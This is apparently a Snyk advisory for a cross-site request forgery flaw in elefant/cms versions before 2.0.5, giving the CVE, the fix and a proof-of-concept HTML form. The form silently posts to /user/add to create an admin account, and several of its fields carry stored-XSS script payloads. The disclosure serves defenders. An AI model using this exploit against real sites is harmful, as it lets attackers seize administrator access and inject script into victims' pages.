Cross-site Request Forgery (CSRF) Affecting elefant/cms package, versions <2.0.5


Severity

Recommended
0.0
medium
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.33% (71st percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-PHP-ELEFANTCMS-5805405
  • published26 Jul 2023
  • disclosed14 May 2022
  • credithkzj

Introduced: 14 May 2022

CVE-2018-16387  (opens in a new tab)
CWE-352  (opens in a new tab)

How to fix?

Upgrade elefant/cms to version 2.0.5 or higher.

Overview

Affected versions of this package are vulnerable to Cross-site Request Forgery (CSRF) which allows an attacker to add an account via user/add.

PoC

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://192.168.98.59/user/add" method="POST">
      <input type="hidden" name="name" value="test" />
      <input type="hidden" name="email" value="test&#64;qq&#46;com" />
      <input type="hidden" name="password" value="admin123" />
      <input type="hidden" name="verify&#95;pass" value="admin123" />
      <input type="hidden" name="type" value="admin" />
      <input type="hidden" name="company" value="&lt;script&gt;alert&#40;1&#41;&lt;&#47;script&gt;" />
      <input type="hidden" name="title" value="&lt;script&gt;alert&#40;1&#41;&lt;&#47;script&gt;" />
      <input type="hidden" name="website" value="" />
      <input type="hidden" name="photo" value="" />
      <input type="hidden" name="about" value="&lt;script&gt;alert&#40;1&#41;&lt;&#47;script&gt;" />
      <input type="hidden" name="phone" value="" />
      <input type="hidden" name="fax" value="" />
      <input type="hidden" name="address" value="" />
      <input type="hidden" name="address2" value="" />
      <input type="hidden" name="city" value="" />
      <input type="hidden" name="state" value="" />
      <input type="hidden" name="country" value="" />
      <input type="hidden" name="zip" value="" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

CVSS Scores

version 3.1